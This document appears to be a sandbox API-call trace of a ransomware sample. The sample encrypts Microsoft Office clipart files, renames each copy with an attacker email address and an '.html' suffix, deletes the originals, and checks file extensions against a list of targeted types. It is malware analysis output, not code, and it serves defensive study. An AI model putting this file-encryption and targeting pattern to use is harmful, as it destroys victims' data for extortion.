	[0192.131] ReadFile (in: hFile=0x5ac, lpBuffer=0x42ec020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesRead=0x38cfecc*=0x16f8, lpOverlapped=0x0) returned 1
	[0192.132] WriteFile (in: hFile=0x5c8, lpBuffer=0x42ec020*, nNumberOfBytesToWrite=0x1700, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesWritten=0x38cfc94*=0x1700, lpOverlapped=0x0) returned 1
	[0192.134] ReadFile (in: hFile=0x5ac, lpBuffer=0x42ec020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesRead=0x38cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0192.134] WriteFile (in: hFile=0x5c8, lpBuffer=0x42ec020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesWritten=0x38cfc94*=0xec, lpOverlapped=0x0) returned 1
	[0192.134] SetEndOfFile (hFile=0x5c8) returned 1
	[0192.135] CloseHandle (hObject=0x5c8) returned 1
	[0192.135] SetFilePointerEx (in: hFile=0x5ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0192.135] SetEndOfFile (hFile=0x5ac) returned 1
	[0192.138] CloseHandle (hObject=0x5ac) returned 1
	[0192.138] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105384.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0192.139] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105384.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105384.wmf")) returned 1
	[0192.141] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105384.WMF") returned 68
	[0192.141] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105384.WMF") returned 68
	[0192.141] lstrlenW (lpString=".doc") returned 4
	[0192.141] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0192.141] lstrlenW (lpString=".docx") returned 5
	[0192.141] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1
	[0192.141] lstrlenW (lpString=".pdf") returned 4
	[0192.141] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0192.141] lstrlenW (lpString=".xls") returned 4
	[0192.141] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0192.141] lstrlenW (lpString=".xlsx") returned 5
	[0192.141] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1
	[0192.141] lstrlenW (lpString=".ppt") returned 4
	[0192.141] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0192.141] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105384.WMF") returned 68
	[0192.141] lstrlenW (lpString=".zip") returned 4
	[0192.141] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0192.141] lstrlenW (lpString=".rar") returned 4
	[0192.141] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0192.141] lstrlenW (lpString=".bz2") returned 4
	[0192.141] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0192.141] lstrlenW (lpString=".7z") returned 3
	[0192.141] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0192.141] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105384.WMF") returned 68
	[0192.141] lstrlenW (lpString=".dbf") returned 4
	[0192.141] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0192.141] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105384.WMF") returned 68
	[0192.142] lstrlenW (lpString=".1cd") returned 4
	[0192.142] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0192.142] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105384.WMF") returned 68
	[0192.142] lstrlenW (lpString=".jpg") returned 4
	[0192.142] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0192.142] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105384.WMF") returned 68
	[0192.142] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105384.WMF") returned 68
	[0192.142] lstrlenW (lpString=".doc") returned 4
	[0192.142] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0192.142] lstrlenW (lpString=".docx") returned 5
	[0192.142] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1
	[0192.142] lstrlenW (lpString=".pdf") returned 4
	[0192.142] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0192.142] lstrlenW (lpString=".xls") returned 4
	[0192.142] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0192.142] lstrlenW (lpString=".xlsx") returned 5
	[0192.142] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1
	[0192.142] lstrlenW (lpString=".ppt") returned 4
	[0192.142] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0192.142] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105384.WMF") returned 68
	[0192.142] lstrlenW (lpString=".zip") returned 4
	[0192.142] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0192.142] lstrlenW (lpString=".rar") returned 4
	[0192.142] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0192.142] lstrlenW (lpString=".bz2") returned 4
	[0192.142] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0192.142] lstrlenW (lpString=".7z") returned 3
	[0192.142] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0192.143] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105384.WMF") returned 68
	[0192.143] lstrlenW (lpString=".dbf") returned 4
	[0192.143] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0192.143] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105384.WMF") returned 68
	[0192.143] lstrlenW (lpString=".1cd") returned 4
	[0192.143] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0192.143] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105384.WMF") returned 68
	[0192.143] lstrlenW (lpString=".jpg") returned 4
	[0192.143] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0192.143] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0192.143] lstrlenW (lpString="J0105386.WMF") returned 12
	[0192.143] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105386.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105386.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5ac
	[0192.144] GetFileSizeEx (in: hFile=0x5ac, lpFileSize=0x38cff14 | out: lpFileSize=0x38cff14*=5980) returned 1
	[0192.144] CloseHandle (hObject=0x5ac) returned 1
	[0192.144] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105386.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105386.wmf")) returned 0x220
	[0192.144] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105386.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105386.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0192.165] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105386.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105386.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5ac
	[0192.166] SetFilePointerEx (in: hFile=0x5ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0192.166] SetFilePointerEx (in: hFile=0x5ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0192.166] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105386.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105386.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5c8
	[0192.168] GetLastError () returned 0x0
	[0192.168] ReadFile (in: hFile=0x5ac, lpBuffer=0x42ec020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesRead=0x38cfecc*=0x175c, lpOverlapped=0x0) returned 1
	[0192.170] WriteFile (in: hFile=0x5c8, lpBuffer=0x42ec020*, nNumberOfBytesToWrite=0x1760, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesWritten=0x38cfc94*=0x1760, lpOverlapped=0x0) returned 1
	[0192.172] ReadFile (in: hFile=0x5ac, lpBuffer=0x42ec020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesRead=0x38cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0192.172] WriteFile (in: hFile=0x5c8, lpBuffer=0x42ec020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesWritten=0x38cfc94*=0xec, lpOverlapped=0x0) returned 1
	[0192.172] SetEndOfFile (hFile=0x5c8) returned 1
	[0192.172] CloseHandle (hObject=0x5c8) returned 1
	[0192.172] SetFilePointerEx (in: hFile=0x5ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0192.172] SetEndOfFile (hFile=0x5ac) returned 1
	[0192.175] CloseHandle (hObject=0x5ac) returned 1
	[0192.175] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105386.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0192.176] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105386.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105386.wmf")) returned 1
	[0192.177] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105386.WMF") returned 68
	[0192.177] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105386.WMF") returned 68
	[0192.177] lstrlenW (lpString=".doc") returned 4
	[0192.177] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0192.177] lstrlenW (lpString=".docx") returned 5
	[0192.177] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1
	[0192.177] lstrlenW (lpString=".pdf") returned 4
	[0192.177] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0192.177] lstrlenW (lpString=".xls") returned 4
	[0192.177] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0192.178] lstrlenW (lpString=".xlsx") returned 5
	[0192.178] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1
	[0192.178] lstrlenW (lpString=".ppt") returned 4
	[0192.178] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0192.178] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105386.WMF") returned 68
	[0192.178] lstrlenW (lpString=".zip") returned 4
	[0192.178] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0192.178] lstrlenW (lpString=".rar") returned 4
	[0192.178] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0192.178] lstrlenW (lpString=".bz2") returned 4
	[0192.178] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0192.178] lstrlenW (lpString=".7z") returned 3
	[0192.178] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0192.178] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105386.WMF") returned 68
	[0192.178] lstrlenW (lpString=".dbf") returned 4
	[0192.178] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0192.178] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105386.WMF") returned 68
	[0192.178] lstrlenW (lpString=".1cd") returned 4
	[0192.178] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0192.178] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105386.WMF") returned 68
	[0192.178] lstrlenW (lpString=".jpg") returned 4
	[0192.178] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0192.178] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105386.WMF") returned 68
	[0192.178] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105386.WMF") returned 68
	[0192.178] lstrlenW (lpString=".doc") returned 4
	[0192.178] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0192.178] lstrlenW (lpString=".docx") returned 5
	[0192.178] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1
	[0192.178] lstrlenW (lpString=".pdf") returned 4
	[0192.179] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0192.179] lstrlenW (lpString=".xls") returned 4
	[0192.179] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0192.179] lstrlenW (lpString=".xlsx") returned 5
	[0192.179] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1
	[0192.179] lstrlenW (lpString=".ppt") returned 4
	[0192.179] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0192.179] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105386.WMF") returned 68
	[0192.179] lstrlenW (lpString=".zip") returned 4
	[0192.180] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0192.180] lstrlenW (lpString=".rar") returned 4
	[0192.180] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0192.180] lstrlenW (lpString=".bz2") returned 4
	[0192.180] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0192.180] lstrlenW (lpString=".7z") returned 3
	[0192.180] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0192.180] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105386.WMF") returned 68
	[0192.180] lstrlenW (lpString=".dbf") returned 4
	[0192.180] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0192.180] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105386.WMF") returned 68
	[0192.180] lstrlenW (lpString=".1cd") returned 4
	[0192.180] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0192.180] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105386.WMF") returned 68
	[0192.180] lstrlenW (lpString=".jpg") returned 4
	[0192.180] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0192.180] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0192.180] lstrlenW (lpString="J0105388.WMF") returned 12
	[0192.180] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105388.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105388.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5ac
	[0192.182] GetFileSizeEx (in: hFile=0x5ac, lpFileSize=0x38cff14 | out: lpFileSize=0x38cff14*=8252) returned 1
	[0192.182] CloseHandle (hObject=0x5ac) returned 1
	[0192.182] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105388.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105388.wmf")) returned 0x220
	[0192.182] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105388.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105388.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0192.183] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105388.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105388.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5ac
	[0192.183] SetFilePointerEx (in: hFile=0x5ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0192.183] SetFilePointerEx (in: hFile=0x5ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0192.183] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105388.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105388.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5c8
	[0192.184] GetLastError () returned 0x0
	[0192.184] ReadFile (in: hFile=0x5ac, lpBuffer=0x42ec020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesRead=0x38cfecc*=0x203c, lpOverlapped=0x0) returned 1
	[0192.602] WriteFile (in: hFile=0x5c8, lpBuffer=0x42ec020*, nNumberOfBytesToWrite=0x2040, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesWritten=0x38cfc94*=0x2040, lpOverlapped=0x0) returned 1
	[0192.603] ReadFile (in: hFile=0x5ac, lpBuffer=0x42ec020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesRead=0x38cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0192.603] WriteFile (in: hFile=0x5c8, lpBuffer=0x42ec020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesWritten=0x38cfc94*=0xec, lpOverlapped=0x0) returned 1
	[0192.603] SetEndOfFile (hFile=0x5c8) returned 1
	[0192.604] CloseHandle (hObject=0x5c8) returned 1
	[0192.604] SetFilePointerEx (in: hFile=0x5ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0192.604] SetEndOfFile (hFile=0x5ac) returned 1
	[0192.607] CloseHandle (hObject=0x5ac) returned 1
	[0192.607] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105388.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0193.114] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105388.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105388.wmf")) returned 1
	[0193.313] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105388.WMF") returned 68
	[0193.313] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105388.WMF") returned 68
	[0193.314] lstrlenW (lpString=".doc") returned 4
	[0193.329] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0193.329] lstrlenW (lpString=".docx") returned 5
	[0193.329] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0193.329] lstrlenW (lpString=".pdf") returned 4
	[0193.329] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0193.329] lstrlenW (lpString=".xls") returned 4
	[0193.331] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0193.331] lstrlenW (lpString=".xlsx") returned 5
	[0193.331] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0193.331] lstrlenW (lpString=".ppt") returned 4
	[0193.331] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0193.331] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105388.WMF") returned 68
	[0193.331] lstrlenW (lpString=".zip") returned 4
	[0193.331] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0193.331] lstrlenW (lpString=".rar") returned 4
	[0193.331] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0193.331] lstrlenW (lpString=".bz2") returned 4
	[0193.331] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0193.331] lstrlenW (lpString=".7z") returned 3
	[0193.331] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0193.331] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105388.WMF") returned 68
	[0193.331] lstrlenW (lpString=".dbf") returned 4
	[0193.332] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0193.332] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105388.WMF") returned 68
	[0193.332] lstrlenW (lpString=".1cd") returned 4
	[0193.332] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0193.332] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105388.WMF") returned 68
	[0193.332] lstrlenW (lpString=".jpg") returned 4
	[0193.332] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0193.332] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105388.WMF") returned 68
	[0193.332] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105388.WMF") returned 68
	[0193.332] lstrlenW (lpString=".doc") returned 4
	[0193.332] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0193.332] lstrlenW (lpString=".docx") returned 5
	[0193.332] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0193.332] lstrlenW (lpString=".pdf") returned 4
	[0193.332] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0193.332] lstrlenW (lpString=".xls") returned 4
	[0193.332] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0193.332] lstrlenW (lpString=".xlsx") returned 5
	[0193.332] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0193.332] lstrlenW (lpString=".ppt") returned 4
	[0193.332] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0193.332] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105388.WMF") returned 68
	[0193.332] lstrlenW (lpString=".zip") returned 4
	[0193.332] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0193.332] lstrlenW (lpString=".rar") returned 4
	[0193.333] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0193.333] lstrlenW (lpString=".bz2") returned 4
	[0193.333] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0193.333] lstrlenW (lpString=".7z") returned 3
	[0193.333] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0193.334] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105388.WMF") returned 68
	[0193.334] lstrlenW (lpString=".dbf") returned 4
	[0193.334] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0193.334] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105388.WMF") returned 68
	[0193.334] lstrlenW (lpString=".1cd") returned 4
	[0193.334] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0193.334] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105388.WMF") returned 68
	[0193.334] lstrlenW (lpString=".jpg") returned 4
	[0193.334] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0193.334] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0193.334] lstrlenW (lpString="J0105502.WMF") returned 12
	[0193.334] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105502.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105502.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5c4
	[0193.335] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x38cff14 | out: lpFileSize=0x38cff14*=5472) returned 1
	[0193.335] CloseHandle (hObject=0x5c4) returned 1
	[0193.335] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105502.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105502.wmf")) returned 0x220
	[0193.335] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105502.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105502.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0193.336] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105502.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105502.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5c4
	[0193.336] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0193.336] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0193.336] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105502.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105502.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538
	[0193.337] GetLastError () returned 0x0
